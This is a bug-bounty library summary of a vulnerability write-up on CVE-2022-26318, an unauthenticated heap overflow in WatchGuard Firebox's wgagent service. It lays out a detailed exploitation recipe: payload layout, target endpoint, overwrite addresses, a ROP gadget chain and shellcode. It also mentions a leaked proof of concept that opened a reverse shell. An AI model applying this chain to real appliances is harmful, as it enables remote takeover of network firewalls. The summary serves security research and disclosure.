# Diving Deeper into WatchGuard Pre-Auth RCE - CVE-2022-26318

Unauthenticated strcat overflow in WatchGuard wgagent's XML startElementNs callback builds unbounded XPath, overwriting the SAX handler function pointer on the heap to hijack execution pre-auth.

- Payout: Real-world hack
- Severity: critical
- Program: WatchGuard Firebox
- Credited: Assetnote
- Disclosed: 2024-01-04
- CVE: CVE-2022-26318
- Write-up quality: 9/10
- Original: https://www.assetnote.io/resources/research/diving-deeper-into-watchguard-pre-auth-rce-cve-2022-26318
- Library page: https://bugbountylibrary.com/r/blog%3Aassetnote-io-resources-research-diving-deeper-into-watchguard-pre-auth-rce-cve-2022-26318
- Tags: domain:network impact:mass-exploit impact:rce kind:incident platform:research sev:critical tech:linux technique:chained technique:reverse-engineering technique:source-review vuln:command-injection vuln:memory-corruption vuln:rce

**Target:** WatchGuard Firebox/XTM wgagent FastCGI service on ports 4117/8080
**Root cause:** The startElementNs SAX callback appends each XML element name to a fixed global buffer at 0x427360 with strcat and no length bound, so a deeply nested element name overflows past the .bss into the adjacent heap where the libxml2 SAX handler struct (magic 0xDEEDBEAF) lives.
**Steps:**
1. Download FireboxV-12.7.2 image by tweaking the 12.8 URL; mount disk, overwrite root hash in /etc/passwd, copy /bin/bash and BusyBox in, remount rw
2. Confirm nginx proxies ports 4117 and 8080 to /usr/bin/wgagent via fastcgi_pass unix:/usr/share/web/upload/tmp/wgagent
3. Attach gdbserver to wgagent; send gzip-compressed XML-RPC POST to /agent/login with Content-Encoding: gzip
4. Payload: `<methodCall><methodName>agent.login</methodName><params><param><value><struct><member><value><` + `A`*3181 + `MFA>` + `<BBBBMFA>`*3680 + padding + ROP chain + shellcode + forged FCGI_STDOUT record
5. Break at 0x406d99 (strcat call) and watch 0x429e68 (startElementNs pointer); overflow overwrites it with 0x41464d ('MFA')
6. ROP: `ret 0x90be` pivots stack, libxml2 gadget `add rsp,0x20; ...; ret`, `ret 0x2`, `ret`, `pop rax/rbx/rbp; ret` loads 0x41d611, `mov rbp,rsp; call rax`, `pop rsi; pop r15; ret`, `lea rdx,[rbp-0x80]; mov rsi,rdx; mov rdi,rcx; call rax`, `add rax,rdx; jmp rax` into shellcode
7. Shellcode: `mov rdx,0x30; mov rsi,rsp; add rsi,0x2e; mov rdi,0x9; mov rax,0x1; syscall` writes forged FCGI record to fd 9, then exit(0)
8. Observe HTTP 200 with body `PewPewPewPew` confirming pre-auth code execution
**How found:** Started from leaked PoC: large malformed XML suggested parser bug, gzip suggested compression bug, and `00 00 00 00 00 xx xx xx` bytes suggested 64-bit ROP gadgets. Reproduced crash in libxml2, traced xmlParseChunk callers to 0x40869d, reviewed SAX callbacks, spotted unbounded strcat in startElementNs, then searched heap for the callback pointer and set a watchpoint to confirm overwrite by 'MFA'.
**Exploitation:** Unauthenticated attacker sends a single gzip-compressed XML-RPC POST to /agent/login (port 8080 or 4117). Deeply nested element names overflow the global XPath buffer into the heap-resident libxml2 SAX handler struct, overwriting startElementNs with a stack-pivot gadget. The ROP chain pivots to stack shellcode that writes a forged FCGI_STDOUT record to fd 9, hijacking the HTTP response to prove execution; original PoC instead wrote /tmp/test.py and spawned a reverse shell to attacker host on port 8888.
**Escalation:** Pre-auth network-adjacent RCE on ~400k internet-facing appliances; GreyNoise observed in-the-wild scanning/exploitation targeting CVE-2022-26318 in March 2022.
**Insight:** When a target links libxml2, enumerate the SAX handler struct (magic 0xDEEDBEAF) on the heap and check whether any callback writes attacker-controlled element names into fixed globals; a .bss buffer adjacent to the heap lets a strcat overflow reach the function-pointer table without needing a heap grooming primitive.
